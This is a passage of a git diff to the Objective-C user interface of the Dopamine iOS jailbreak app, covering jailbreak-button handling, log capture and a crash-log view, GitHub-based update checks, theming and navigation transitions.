dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_HIGH, 0), ^{ + + //We need to get the preconfig mutex to start the jailbreak (self.jailbreakBtn.canStartJailbreak) + [self.jailbreakBtn lockMutex]; + dispatch_async(dispatch_get_main_queue(), ^{ + self.hideHomeIndicator = YES; + }); + + NSError *error; + BOOL didRemove = NO; + BOOL showLogs = YES; + [jailbreaker runWithError:&error didRemoveJailbreak:&didRemove showLogs:&showLogs]; + dispatch_async(dispatch_get_main_queue(), ^{ + if (error && showLogs) { + [[DOUIManager sharedInstance] sendLog:[NSString stringWithFormat:@"Jailbreak failed with error: %@", error] debug:NO]; + [self.navigationController pushViewController:[[DOLogCrashViewController alloc] initWithTitle:[error localizedDescription]] animated:YES]; + } + else if (error && !showLogs) { + // Used when there is an error that is explainable in such detail that additional logs are not needed + UIAlertController *alertController = [UIAlertController alertControllerWithTitle:DOLocalizedString(@"Log_Error") message:[error localizedDescription] preferredStyle:UIAlertControllerStyleAlert]; + UIAlertAction *rebootAction = [UIAlertAction actionWithTitle:DOLocalizedString(@"Button_Reboot") style:UIAlertActionStyleDefault handler:^(UIAlertAction * _Nonnull action) { + exec_cmd_trusted(JBROOT_PATH("/sbin/reboot"), NULL); + }]; + [alertController addAction:rebootAction]; + [self presentViewController:alertController animated:YES completion:nil]; + } + else if (didRemove) { + UIAlertController *alertController = [UIAlertController alertControllerWithTitle:DOLocalizedString(@"Removed_Jailbreak_Alert_Title") message:DOLocalizedString(@"Removed_Jailbreak_Alert_Message") preferredStyle:UIAlertControllerStyleAlert]; + UIAlertAction *rebootAction = [UIAlertAction actionWithTitle:DOLocalizedString(@"Button_Close") style:UIAlertActionStyleDefault handler:^(UIAlertAction * _Nonnull action) { + exit(0); + }]; + [alertController addAction:rebootAction]; + [self presentViewController:alertController animated:YES completion:nil]; + } + else { + // No errors + [[DOUIManager sharedInstance] completeJailbreak]; + [self fadeToBlack: ^{ + [jailbreaker finalize]; + }]; + } + }); + [self.jailbreakBtn unlockMutex]; + }); +} + +-(void)setupUpdateAvailable:(BOOL)environmentUpdate +{ + if (self.jailbreakBtn.didExpand) + return; + + NSString *title = environmentUpdate ? DOLocalizedString(@"Button_Update_Environment") : DOLocalizedString(@"Button_Update_Available"); + + NSString *releaseFrom = [[DOUIManager sharedInstance] getLaunchedReleaseTag]; + NSString *releaseTo = [[DOUIManager sharedInstance] getLatestReleaseTag]; + + if (environmentUpdate) + { + releaseFrom = [[DOEnvironmentManager sharedManager] jailbrokenVersion]; + releaseTo = [[DOUIManager sharedInstance] getLaunchedReleaseTag]; + } + + self.updateButton = [DOActionMenuButton buttonWithAction:[UIAction actionWithTitle:title image:[UIImage systemImageNamed:@"arrow.down.circle" withConfiguration:[DOGlobalAppearance smallIconImageConfiguration]] identifier:@"update-available" handler:^(__kindof UIAction * _Nonnull action) { + [self.navigationController pushViewController:[[DOUpdateViewController alloc] initFromTag:releaseFrom toTag:releaseTo] animated:YES]; + }] chevron:NO]; + + self.updateButton.translatesAutoresizingMaskIntoConstraints = NO; + [self.view addSubview:self.updateButton]; + + [NSLayoutConstraint activateConstraints:@[ + [self.updateButton.centerXAnchor constraintEqualToAnchor:self.view.centerXAnchor], + [self.updateButton.heightAnchor constraintEqualToConstant:30], + [self.updateButton.bottomAnchor constraintEqualToAnchor:self.jailbreakBtn.topAnchor constant:[DOGlobalAppearance isHomeButtonDevice] ? -10 : -20] + ]]; + + [self.updateButton setTransform:CGAffineTransformMakeTranslation(0, 25)]; + [self.updateButton setAlpha:0]; + [UIView animateWithDuration:0.5 delay:0 usingSpringWithDamping:0.9 initialSpringVelocity:2.0 options: UIViewAnimationOptionCurveEaseInOut animations:^{ + [self.updateButton setTransform:CGAffineTransformIdentity]; + [self.updateButton setAlpha:1]; + } completion:nil]; +} -(void)simulateJailbreak { @@ -182,6 +297,9 @@ -(void)simulateJailbreak [uiManager completeJailbreak]; [uiManager sendLog:@"Rebooting Userspace" debug: NO]; didFinish = YES; + [self fadeToBlack: ^{ + + }]; }); dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{ @@ -204,6 +322,28 @@ -(void)simulateJailbreak }); } +- (void)fadeToBlack:(void (^)(void))completion +{ + static bool didFade = false; + if (didFade) + return; + didFade = true; + UIView *mainView = self.parentViewController.view; + float deviceCornerRadius = [[[UIScreen mainScreen] valueForKey:@"_displayCornerRadius"] floatValue]; + + mainView.layer.cornerRadius = deviceCornerRadius; + mainView.layer.cornerCurve = kCACornerCurveContinuous; + mainView.layer.masksToBounds = YES; + + self.hideStatusBar = YES; + + [UIView animateWithDuration:0.5 delay:0 usingSpringWithDamping:0.9 initialSpringVelocity:2.0 options: UIViewAnimationOptionCurveEaseInOut animations:^{ + mainView.transform = CGAffineTransformMakeScale(0.9, 0.9); + mainView.alpha = 0.0; + } completion:^(BOOL success) { + completion(); + }]; +} #pragma mark - Action Menu Delegate @@ -213,6 +353,14 @@ - (BOOL)actionMenuShowsChevronForAction:(UIAction *)action return NO; } +- (BOOL)actionMenuActionIsEnabled:(UIAction *)action +{ + if ([action.identifier isEqualToString:@"respring"] || [action.identifier isEqualToString:@"reboot-userspace"]) { + return [[DOEnvironmentManager sharedManager] isJailbroken]; + } + return YES; +} + #pragma mark - Status Bar - (UIStatusBarStyle)preferredStatusBarStyle @@ -220,4 +368,26 @@ - (UIStatusBarStyle)preferredStatusBarStyle return UIStatusBarStyleLightContent; } +- (BOOL)prefersStatusBarHidden +{ + return self.hideStatusBar; +} + +- (BOOL)prefersHomeIndicatorAutoHidden +{ + return self.hideHomeIndicator; +} + +- (void)setHideStatusBar:(BOOL)hideStatusBar +{ + _hideStatusBar = hideStatusBar; + [self setNeedsStatusBarAppearanceUpdate]; +} + +- (void)setHideHomeIndicator:(BOOL)hideHomeIndicator +{ + _hideHomeIndicator = hideHomeIndicator; + [self setNeedsUpdateOfHomeIndicatorAutoHidden]; +} + @end diff --git a/Application/Dopamine/UI/DONavigationController.h b/Application/Dopamine/UI/DONavigationController.h index 3e92a79840..afc94e0ae2 100644 --- a/Application/Dopamine/UI/DONavigationController.h +++ b/Application/Dopamine/UI/DONavigationController.h @@ -8,8 +8,8 @@ #import #import "UIImage+Blur.h" #import "DOMainViewController.h" +#import "Transition/DOModalTransitionScale.h" #import "Transition/DOModalTransitionPush.h" -#import "Transition/DOModalTransitionPop.h" NS_ASSUME_NONNULL_BEGIN diff --git a/Application/Dopamine/UI/DONavigationController.m b/Application/Dopamine/UI/DONavigationController.m index 4ad526d00d..164cf79005 100644 --- a/Application/Dopamine/UI/DONavigationController.m +++ b/Application/Dopamine/UI/DONavigationController.m @@ -8,7 +8,8 @@ #import "DONavigationController.h" #import #import "DOModalBackAction.h" -#import "GlobalAppearance.h" +#import "DOGlobalAppearance.h" +#import "DOThemeManager.h" @interface DONavigationController () @@ -31,13 +32,16 @@ - (void)viewDidLoad [self setNavigationBarHidden:YES]; [self pushViewController:(self.mainView = [[DOMainViewController alloc] init]) animated:NO]; [self setDelegate:self]; + [self setOverrideUserInterfaceStyle:UIUserInterfaceStyleDark]; } - (void)setupBackground { + DOTheme *theme = [[DOThemeManager sharedInstance] enabledTheme]; + self.view.backgroundColor = [UIColor blackColor]; self.backgroundImageView = [[UIImageView alloc] init]; - self.backgroundImageView.image = [[[UIImage imageNamed:@"Background"] imageWithBlur:18.0] imageWithHue: M_PI * 2]; // 0 - 2PI + self.backgroundImageView.image = [theme image]; self.backgroundImageView.contentMode = UIViewContentModeScaleAspectFill; self.backgroundImageView.translatesAutoresizingMaskIntoConstraints = NO; self.backgroundImageView.userInteractionEnabled = NO; @@ -53,7 +57,7 @@ - (void)setupBackground ]]; self.backAction = [[DOModalBackAction alloc] initWithAction:^{ - [self popToRootViewControllerAnimated:YES]; + [self popViewControllerAnimated:YES]; }]; self.backAction.translatesAutoresizingMaskIntoConstraints = NO; self.backAction.hidden = YES; @@ -83,13 +87,11 @@ - (void)setBackgroundDimmed:(BOOL)dimmed animationControllerForOperation:(UINavigationControllerOperation)operation fromViewController:(UIViewController *)fromVC toViewController:(UIViewController *)toVC { - if (operation == UINavigationControllerOperationPush) { - return [[DOModalTransitionPush alloc] init]; - } - else if (operation == UINavigationControllerOperationPop) { - return [[DOModalTransitionPop alloc] init]; - } - return nil; + + + if (fromVC.class == DOMainViewController.class || toVC.class == DOMainViewController.class) + return [[DOModalTransitionScale alloc] initForwards: operation == UINavigationControllerOperationPush]; + return [[DOModalTransitionPush alloc] initForwards: operation == UINavigationControllerOperationPush]; } - (void)navigationController:(UINavigationController *)navigationController willShowViewController:(UIViewController *)viewController animated:(BOOL)animated @@ -107,7 +109,7 @@ -(CGRect)_frameForViewController:(id)viewController return orig; orig.size.width = fmin(orig.size.width - UI_MODAL_PADDING * 2, UI_IPAD_MAX_WIDTH); - orig.size.height *= 0.7; + orig.size.height *= [DOGlobalAppearance isSmallDevice] ? 0.8 : 0.7; orig.origin.x = (self.view.frame.size.width - orig.size.width) / 2; orig.origin.y = (self.view.frame.size.height - orig.size.height) / 2; diff --git a/Application/Dopamine/UI/DOUIManager.h b/Application/Dopamine/UI/DOUIManager.h index 1364d7a276..beff86485e 100644 --- a/Application/Dopamine/UI/DOUIManager.h +++ b/Application/Dopamine/UI/DOUIManager.h @@ -8,26 +8,47 @@ #import #import "DOLogViewProtocol.h" #import "DODebugLogView.h" +#import "DOPreferenceManager.h" NS_ASSUME_NONNULL_BEGIN -#define kSileoPackageManager @"Sileo" -#define kZebraPackageManager @"Zebra" - - @interface DOUIManager : NSObject +{ + DOPreferenceManager *_preferenceManager; + NSDictionary *_fallbackLocalizations; + NSLock *_logLock; +} -@property (nonatomic, retain) NSUserDefaults *userDefaults; +@property (nonatomic, readonly) NSString *bootlogoPath; @property (nonatomic, retain) NSObject *logView; - -+(id)sharedInstance; - --(NSArray*)availablePackageManagers; --(BOOL)isDebug; --(void)sendLog:(NSString*)log debug:(BOOL)debug; --(void)completeJailbreak; --(void)startLogCapture; +@property (atomic, retain) NSMutableArray *logRecord; + ++ (instancetype)sharedInstance; + +- (BOOL)isDebug; +- (void)sendLog:(NSString*)log debug:(BOOL)debug update:(BOOL)update; +- (void)sendLog:(NSString*)log debug:(BOOL)debug; +- (void)completeJailbreak; +- (void)startLogCapture; +- (void)shareLogRecordFromView:(UIView *)sourceView; +- (BOOL)isUpdateAvailable; +- (BOOL)environmentUpdateAvailable; +- (NSArray *)getLatestReleases; +- (NSString*)getLaunchedReleaseTag; +- (NSString*)getLatestReleaseTag; +- (NSArray *)getUpdatesInRange:(NSString *)start end:(NSString *)end; +- (bool)launchedReleaseNeedsManualUpdate; +- (NSArray*)availablePackageManagers; +- (NSArray*)enabledPackageManagerKeys; +- (NSArray*)enabledPackageManagers; +- (void)resetPackageManagers; +- (void)resetSettings; +- (void)setPackageManager:(NSString*)key enabled:(BOOL)enabled; +- (NSString *)localizedStringForKey:(NSString*)key; +- (UIImage *)renderBootLogo; @end +NSString *DOLocalizedString(NSString *string); + NS_ASSUME_NONNULL_END diff --git a/Application/Dopamine/UI/DOUIManager.m b/Application/Dopamine/UI/DOUIManager.m index 252153c6a2..a2f69b400c 100644 --- a/Application/Dopamine/UI/DOUIManager.m +++ b/Application/Dopamine/UI/DOUIManager.m @@ -6,11 +6,16 @@ // #import "DOUIManager.h" +#import "DOEnvironmentManager.h" +#import "DOThemeManager.h" +#import "DOTheme.h" +#import "NSString+Version.h" #import @implementation DOUIManager -+(id)sharedInstance { ++ (instancetype)sharedInstance +{ static DOUIManager *sharedInstance = nil; static dispatch_once_t onceToken; dispatch_once(&onceToken, ^{ @@ -19,79 +24,313 @@ +(id)sharedInstance { return sharedInstance; } --(id)init { +- (id)init +{ if (self = [super init]){ - self.userDefaults = [NSUserDefaults standardUserDefaults]; + _bootlogoPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Documents/bootlogo.png"]; + _preferenceManager = [DOPreferenceManager sharedManager]; + _logRecord = [NSMutableArray new]; + _logLock = [NSLock new]; } return self; } --(NSArray*)availablePackageManagers { - return @[kSileoPackageManager, kZebraPackageManager]; +- (BOOL)isUpdateAvailable +{ + NSString *latestVersion = [self getLatestReleaseTag]; + NSString *currentVersion = [self getLaunchedReleaseTag]; + return [latestVersion numericalVersionRepresentation] > [currentVersion numericalVersionRepresentation]; } --(BOOL)isDebug { - NSNumber *debug = [self.userDefaults valueForKey:@"debug"]; +- (NSArray *)getUpdatesInRange:(NSString *)start end:(NSString *)end +{ + NSArray *releases = [self getLatestReleases]; + if (releases.count == 0) + return @[]; + + long long startVersion = [start numericalVersionRepresentation]; + long long endVersion = [end numericalVersionRepresentation]; + NSMutableArray *updates = [NSMutableArray new]; + for (NSDictionary *release in releases) { + NSString *version = release[@"tag_name"]; + NSNumber *prerelease = release[@"prerelease"]; + if ([prerelease boolValue]) { + // Skip prereleases + continue; + } + long long numericalVersion = [version numericalVersionRepresentation]; + if (numericalVersion > startVersion && numericalVersion <= endVersion) { + [updates addObject:release]; + } + } + return updates; +} + +- (NSArray *)getLatestReleases +{ + static dispatch_once_t onceToken; + static NSArray *releases; + dispatch_once(&onceToken, ^{ + NSURL *url = [NSURL URLWithString:@"https://api.github.com/repos/opa334/Dopamine/releases"]; + NSData *data = [NSData dataWithContentsOfURL:url]; + if (data) { + NSError *error; + releases = [NSJSONSerialization JSONObjectWithData:data options:kNilOptions error:&error]; + if (error) + { + onceToken = 0; + releases = @[]; + } + } + }); + return releases; +} + +- (BOOL)environmentUpdateAvailable +{ + if (![[DOEnvironmentManager sharedManager] jailbrokenVersion]) + return NO; + + NSString *jailbrokenVersion = [[DOEnvironmentManager sharedManager] jailbrokenVersion]; + NSString *launchedVersion = [self getLaunchedReleaseTag]; + + return [launchedVersion numericalVersionRepresentation] > [jailbrokenVersion numericalVersionRepresentation]; +} + +- (bool)launchedReleaseNeedsManualUpdate +{ + NSString *launchedTag = [self getLaunchedReleaseTag]; + NSDictionary *launchedVersion; + for (NSDictionary *release in [self getLatestReleases]) { + if ([release[@"tag_name"] isEqualToString:launchedTag]) { + launchedVersion = release; + break; + } + } + if (!launchedVersion) + return false; + return [launchedVersion[@"body"] containsString:@"*Manual Updates*"]; +} + +- (NSString*)getLatestReleaseTag +{ + NSArray *releases = [self getLatestReleases]; + for (NSDictionary *release in releases) { + NSNumber *prerelease = release[@"prerelease"]; + if ([prerelease boolValue]) { + continue; + } + return release[@"tag_name"]; + } + return nil; +} + +- (NSString*)getLaunchedReleaseTag +{ + return [[NSBundle mainBundle] objectForInfoDictionaryKey:@"CFBundleShortVersionString"]; +} + +- (NSArray*)availablePackageManagers +{ + NSString *path = [[NSBundle mainBundle] pathForResource:@"PkgManagers" ofType:@"plist"]; + return [NSArray arrayWithContentsOfFile:path]; +} + +- (NSArray*)enabledPackageManagerKeys +{ + NSArray *enabledPkgManagers = [_preferenceManager preferenceValueForKey:@"enabledPkgManagers"] ?: @[]; + NSMutableArray *enabledKeys = [NSMutableArray new]; + NSArray *availablePkgManagers = [self availablePackageManagers]; + + [availablePkgManagers enumerateObjectsUsingBlock:^(id _Nonnull obj, NSUInteger idx, BOOL * _Nonnull stop) { + NSString *key = obj[@"Key"]; + if ([enabledPkgManagers containsObject:key]) { + [enabledKeys addObject:key]; + } + }]; + + return enabledKeys; +} + +- (NSArray*)enabledPackageManagers +{ + NSMutableArray *enabledPkgManagers = [NSMutableArray new]; + NSArray *enabledKeys = [self enabledPackageManagerKeys]; + + [[self availablePackageManagers] enumerateObjectsUsingBlock:^(id _Nonnull obj, NSUInteger idx, BOOL * _Nonnull stop) { + NSString *key = obj[@"Key"]; + if ([enabledKeys containsObject:key]) { + [enabledPkgManagers addObject:obj]; + } + }]; + + return enabledPkgManagers; +} + +- (void)resetPackageManagers +{ + [_preferenceManager removePreferenceValueForKey:@"enabledPkgManagers"]; +} + +- (void)resetSettings +{ + [_preferenceManager removePreferenceValueForKey:@"verboseLogsEnabled"]; + [_preferenceManager removePreferenceValueForKey:@"tweakInjectionEnabled"]; + [self resetPackageManagers]; +} + +- (void)setPackageManager:(NSString*)key enabled:(BOOL)enabled +{ + NSMutableArray *pkgManagers = [self enabledPackageManagerKeys].mutableCopy; + + if (enabled && ![pkgManagers containsObject:key]) { + [pkgManagers addObject:key]; + } + else if (!enabled && [pkgManagers containsObject:key]) { + [pkgManagers removeObject:key]; + } + + [_preferenceManager setPreferenceValue:pkgManagers forKey:@"enabledPkgManagers"]; +} + +- (BOOL)isDebug +{ + NSNumber *debug = [_preferenceManager preferenceValueForKey:@"verboseLogsEnabled"]; return debug == nil ? NO : [debug boolValue]; } --(BOOL)enableTweaks { - NSNumber *tweaks = [self.userDefaults valueForKey:@"tweaks"]; +- (BOOL)enableTweaks +{ + NSNumber *tweaks = [_preferenceManager preferenceValueForKey:@"tweakInjectionEnabled"]; return tweaks == nil ? YES : [tweaks boolValue]; } --(void)sendLog:(NSString*)log debug:(BOOL)debug { - if (!self.logView) +- (void)sendLog:(NSString*)log debug:(BOOL)debug update:(BOOL)update +{ + if (!self.logView || !log) return; - + + [_logLock lock]; + + [self.logRecord addObject:log]; + BOOL isDebug = self.logView.class == DODebugLogView.class; - if (debug && !isDebug) + if (debug && !isDebug) { + [_logLock unlock]; return; + } + + + if (update) { + if ([self.logView respondsToSelector:@selector(updateLog:)]) { + [self.logView updateLog:log]; + } + } + else { + [self.logView showLog:log]; + } + [_logLock unlock]; +} - [self.logView showLog:log]; +- (void)sendLog:(NSString*)log debug:(BOOL)debug +{ + [self sendLog:log debug:debug update:NO]; } --(void)completeJailbreak { - if (!self.logView) +- (void)shareLogRecordFromView:(UIView *)sourceView +{ + if (self.logRecord.count == 0) return; - [self.logView didComplete]; + NSString *log = [self.logRecord componentsJoinedByString:@"\n"]; + UIActivityViewController *activityViewController = [[UIActivityViewController alloc] initWithActivityItems:@[log] applicationActivities:nil]; + activityViewController.popoverPresentationController.sourceView = sourceView; + activityViewController.popoverPresentationController.sourceRect = sourceView.bounds; + [[UIApplication sharedApplication].keyWindow.rootViewController presentViewController:activityViewController animated:YES completion:nil]; } --(void)startLogCapture { - int stdout_pipe[2]; - if (pipe(stdout_pipe) != 0) { +- (void)completeJailbreak +{ + if (!self.logView) return; - } - dup2(stdout_pipe[1], STDOUT_FILENO); - close(stdout_pipe[1]); - int fd = stdout_pipe[0]; + [self.logView didComplete]; +} +- (void)observeFileDescriptor:(int)fd withCallback:(void (^)(char *line))callbackBlock +{ dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{ - char buffer[1024]; + int stdout_pipe[2]; + int stdout_orig[2]; + if (pipe(stdout_pipe) != 0 || pipe(stdout_orig) != 0) { + return; + } + + dup2(fd, stdout_orig[1]); + close(stdout_orig[0]); + + dup2(stdout_pipe[1], fd); + close(stdout_pipe[1]); + + char cur = 0; char line[1024]; int line_index = 0; ssize_t bytes_read; - while ((bytes_read = read(fd, buffer, sizeof(buffer) - 1)) > 0) { - buffer[bytes_read] = '\0'; // Null terminate to handle as string - for (int i = 0; i < bytes_read; ++i) { - if (buffer[i] == '\n') { + while ((bytes_read = read(stdout_pipe[0], &cur, sizeof(cur))) > 0) { + @autoreleasepool { + write(stdout_orig[1], &cur, bytes_read); + + if (cur == '\n') { line[line_index] = '\0'; - [[DOUIManager sharedInstance] sendLog:[NSString stringWithUTF8String:line] debug:YES]; + callbackBlock(line); line_index = 0; } else { if (line_index < sizeof(line) - 1) { - line[line_index++] = buffer[i]; + line[line_index++] = cur; } } } - // Tee: Write back to the original standard output - write(STDOUT_FILENO, buffer, bytes_read); } - close(fd); + close(stdout_pipe[0]); }); } +- (void)startLogCapture +{ + [self observeFileDescriptor:STDOUT_FILENO withCallback:^(char *line) { + NSString *str = [NSString stringWithUTF8String:line]; + [self sendLog:str debug:YES]; + }]; + + [self observeFileDescriptor:STDERR_FILENO withCallback:^(char *line) { + NSString *str = [NSString stringWithUTF8String:line]; + [self sendLog:str debug:YES]; + }]; +} + +- (NSString *)localizedStringForKey:(NSString*)key +{ + NSString *candidate = NSLocalizedString(key, nil); + if ([candidate isEqualToString:key]) { + if (!_fallbackLocalizations) { + _fallbackLocalizations = [NSDictionary dictionaryWithContentsOfFile:[[NSBundle mainBundle].bundlePath stringByAppendingPathComponent:@"en.lproj/Localizable.strings"]]; + } + candidate = _fallbackLocalizations[key]; + if (!candidate) candidate = key; + } + return candidate; +} + +- (UIImage *)renderBootLogo +{ + return [[[DOThemeManager sharedInstance] enabledTheme] generateBootLogo]; +} + @end + + +NSString *DOLocalizedString(NSString *key) +{ + return [[DOUIManager sharedInstance] localizedStringForKey:key]; +} diff --git a/Application/Dopamine/UI/Log/DOLogCrashViewController.h b/Application/Dopamine/UI/Log/DOLogCrashViewController.h new file mode 100644 index 0000000000..a22719db86 --- /dev/null +++ b/Application/Dopamine/UI/Log/DOLogCrashViewController.h @@ -0,0 +1,21 @@ +// +// DOLogCrashViewController.h +// Dopamine +// +// Created by tomt000 on 14/02/2024. +// + +#import + +NS_ASSUME_NONNULL_BEGIN + +@interface DOLogCrashViewController : UIViewController +{ + UITextView *_logView; +} + +- (id)initWithTitle:(NSString*)title; + +@end + +NS_ASSUME_NONNULL_END diff --git a/Application/Dopamine/UI/Log/DOLogCrashViewController.m b/Application/Dopamine/UI/Log/DOLogCrashViewController.m new file mode 100644 index 0000000000..7cad30a699 --- /dev/null +++ b/Application/Dopamine/UI/Log/DOLogCrashViewController.m @@ -0,0 +1,102 @@ +// +// DOLogCrashViewController.m +// Dopamine +// +// Created by tomt000 on 14/02/2024. +// + +#import "DOLogCrashViewController.h" +#import "DOPSListController.h" +#import "DOPSListItemsController.h" +#import "DOActionMenuButton.h" +#import "DOGlobalAppearance.h" +#import "DOUIManager.h" + +@interface DOLogCrashViewController () + +@property (nonatomic, retain) NSString *title; + +@end + +@implementation DOLogCrashViewController + +- (id)initWithTitle:(NSString*)title +{ + if (self = [super init]) + { + self.title = title; + } + return self; +} + +- (void)viewDidLoad +{ + [super viewDidLoad]; + [DOPSListController setupViewControllerStyle:self]; + + UIView *header = [DOPSListItemsController makeHeader:DOLocalizedString(@"Log_Error") withTarget:self]; + header.translatesAutoresizingMaskIntoConstraints = NO; + [self.view addSubview:header]; + + [NSLayoutConstraint activateConstraints:@[ + [header.topAnchor constraintEqualToAnchor:self.view.topAnchor constant:5], + [header.leadingAnchor constraintEqualToAnchor:self.view.leadingAnchor], + [header.trailingAnchor constraintEqualToAnchor:self.view.trailingAnchor], + [header.heightAnchor constraintEqualToConstant:70] + ]]; + + __block DOActionMenuButton *shareButton; + UIAction *shareAction = [UIAction actionWithTitle:DOLocalizedString(@"Button_Share") image:[UIImage systemImageNamed:@"square.and.arrow.up" withConfiguration:[DOGlobalAppearance smallIconImageConfiguration]] identifier:@"share" handler:^(__kindof UIAction * _Nonnull action) { + [[DOUIManager sharedInstance] shareLogRecordFromView:shareButton]; + }]; + shareButton = [DOActionMenuButton buttonWithAction:shareAction chevron:NO]; + + shareButton.translatesAutoresizingMaskIntoConstraints = NO; + [self.view addSubview:shareButton]; + + [NSLayoutConstraint activateConstraints:@[ + [shareButton.centerXAnchor constraintEqualToAnchor:self.view.centerXAnchor], + [shareButton.heightAnchor constraintEqualToConstant:30], + [shareButton.bottomAnchor constraintEqualToAnchor:self.view.bottomAnchor constant:-30] + ]]; + + if (@available(iOS 16.0, *)) { + _logView = [UITextView textViewUsingTextLayoutManager:false]; + } + else { + _logView = [[UITextView alloc] init]; + } + _logView.translatesAutoresizingMaskIntoConstraints = NO; + + [self.view addSubview:_logView]; + + [NSLayoutConstraint activateConstraints:@[ + [_logView.topAnchor constraintEqualToAnchor:header.bottomAnchor constant:-12], + [_logView.leadingAnchor constraintEqualToAnchor:self.view.leadingAnchor constant:20], + [_logView.trailingAnchor constraintEqualToAnchor:self.view.trailingAnchor constant:-20], + [_logView.bottomAnchor constraintEqualToAnchor:shareButton.topAnchor constant:-10] + ]]; + + NSArray *reverseLog = [[[DOUIManager sharedInstance] logRecord] reverseObjectEnumerator].allObjects; + _logView.text = [reverseLog componentsJoinedByString:@"\n"]; + _logView.editable = NO; + _logView.font = [UIFont systemFontOfSize:14]; + _logView.textColor = [UIColor whiteColor]; + _logView.backgroundColor = [UIColor clearColor]; +} + +- (void)viewWillDisappear:(BOOL)animated +{ + [super viewWillDisappear:animated]; + [[UIApplication sharedApplication] performSelector:@selector(suspend)]; + [NSThread sleepForTimeInterval:0.3]; + exit(0); +} + +- (void)dismiss +{ + [self.navigationController popViewControllerAnimated:YES]; +} + + +@end diff --git a/Application/Dopamine/UI/Log/DOLogViewProtocol.h b/Application/Dopamine/UI/Log/DOLogViewProtocol.h index fd1762a2a8..f76c318b78 100644 --- a/Application/Dopamine/UI/Log/DOLogViewProtocol.h +++ b/Application/Dopamine/UI/Log/DOLogViewProtocol.h @@ -14,6 +14,9 @@ NS_ASSUME_NONNULL_BEGIN -(void)showLog:(NSString *)log; -(void)didComplete; +@optional +- (void)updateLog:(NSString *)log; + @end NS_ASSUME_NONNULL_END diff --git a/Application/Dopamine/UI/Log/DOLyricsLogItemView.h b/Application/Dopamine/UI/Log/DOLyricsLogItemView.h index 8863d30963..d55e588311 100644 --- a/Application/Dopamine/UI/Log/DOLyricsLogItemView.h +++ b/Application/Dopamine/UI/Log/DOLyricsLogItemView.h @@ -17,7 +17,11 @@ NS_ASSUME_NONNULL_BEGIN @property (nonatomic) BOOL completed; @property (nonatomic) UIImpactFeedbackGenerator *feedbackGenerator; -- (id)initWithString:(NSString *)string; +@property (nonatomic) UIImage *completedImage; +@property (nonatomic) UIImage *failedImage; +@property (nonatomic) UIImage *successImage; + +- (id)initWithString:(NSString *)string completedImage:(UIImage *)completedImage failedImage:(UIImage *)failedImage successImage:(UIImage *)successImage; - (void)setCompleted; - (void)setFailed; - (void)setSuccess; diff --git a/Application/Dopamine/UI/Log/DOLyricsLogItemView.m b/Application/Dopamine/UI/Log/DOLyricsLogItemView.m index bf4e8a4204..e49e0f172f 100644 --- a/Application/Dopamine/UI/Log/DOLyricsLogItemView.m +++ b/Application/Dopamine/UI/Log/DOLyricsLogItemView.m @@ -9,7 +9,7 @@ @implementation DOLyricsLogItemView -- (id)initWithString:(NSString *)string { +- (id)initWithString:(NSString *)string completedImage:(UIImage *)completedImage failedImage:(UIImage *)failedImage successImage:(UIImage *)successImage { if (self = [super init]) { self.translatesAutoresizingMaskIntoConstraints = NO; self.alpha = 0.9; @@ -40,27 +40,29 @@ - (id)initWithString:(NSString *)string { self.transform = CGAffineTransformMakeTranslation(0, 8); self.feedbackGenerator = [[UIImpactFeedbackGenerator alloc] initWithStyle:UIImpactFeedbackStyleLight]; self.alpha = 0; + + self.completedImage = completedImage; + self.failedImage = failedImage; + self.successImage = successImage; } return self; } -- (void)completeWithSymbol: (NSString*)name +- (void)completeWithImage:(UIImage *)image { if (self.completed) return; self.completed = YES; + + UIImageView *imageView = [[UIImageView alloc] initWithImage:image]; - UIImage *checkmarkImage = [UIImage systemImageNamed:name]; - checkmarkImage = [checkmarkImage imageWithConfiguration:[UIImageSymbolConfiguration configurationWithPointSize:19 weight:UIImageSymbolWeightRegular]]; - UIImageView *checkView = [[UIImageView alloc] initWithImage:checkmarkImage]; + imageView.translatesAutoresizingMaskIntoConstraints = NO; + imageView.tintColor = [UIColor whiteColor]; + imageView.alpha = 0; - checkView.translatesAutoresizingMaskIntoConstraints = NO; - checkView.tintColor = [UIColor whiteColor]; - checkView.alpha = 0; - - [self addSubview:checkView]; + [self addSubview:imageView]; [NSLayoutConstraint activateConstraints:@[ - [checkView.centerYAnchor constraintEqualToAnchor:self.loadingIndicator.centerYAnchor], - [checkView.centerXAnchor constraintEqualToAnchor:self.loadingIndicator.centerXAnchor], + [imageView.centerYAnchor constraintEqualToAnchor:self.loadingIndicator.centerYAnchor], + [imageView.centerXAnchor constraintEqualToAnchor:self.loadingIndicator.centerXAnchor], ]]; self.label.font = [UIFont systemFontOfSize:18]; @@ -68,7 +70,7 @@ - (void)completeWithSymbol: (NSString*)name [UIView animateWithDuration:0.2 animations:^{ self.alpha = 0.5; self.loadingIndicator.alpha = 0; - checkView.alpha = 1; + imageView.alpha = 1; self.transform = CGAffineTransformMakeTranslation(0, 0); }]; @@ -76,15 +78,15 @@ - (void)completeWithSymbol: (NSString*)name } - (void)setCompleted { - [self completeWithSymbol: @"checkmark"]; + [self completeWithImage:self.completedImage]; } - (void)setFailed { - [self completeWithSymbol: @"exclamationmark.circle"]; + [self completeWithImage:self.failedImage]; } - (void)setSuccess { - [self completeWithSymbol: @"lock.open"]; + [self completeWithImage:self.successImage]; dispatch_after(dispatch_time(DISPATCH_TIME_NOW, 0.1 * NSEC_PER_SEC), dispatch_get_main_queue(), ^{ [self.feedbackGenerator impactOccurredWithIntensity:1]; }); diff --git a/Application/Dopamine/UI/Log/DOLyricsLogView.h b/Application/Dopamine/UI/Log/DOLyricsLogView.h index bcd10b6636..848dc5616c 100644 --- a/Application/Dopamine/UI/Log/DOLyricsLogView.h +++ b/Application/Dopamine/UI/Log/DOLyricsLogView.h @@ -14,6 +14,11 @@ NS_ASSUME_NONNULL_BEGIN /// They're just called lyrics log view because they remind me of apple music lyrics 🤫 @interface DOLyricsLogView : UIView +{ + UIImage *_checkmarkImage; + UIImage *_exclamationMarkImage; + UIImage *_unlockedImage; +} @property (nonatomic, strong) UIStackView *stackView; diff --git a/Application/Dopamine/UI/Log/DOLyricsLogView.m b/Application/Dopamine/UI/Log/DOLyricsLogView.m index 1bf90ab51a..e46be589a7 100644 --- a/Application/Dopamine/UI/Log/DOLyricsLogView.m +++ 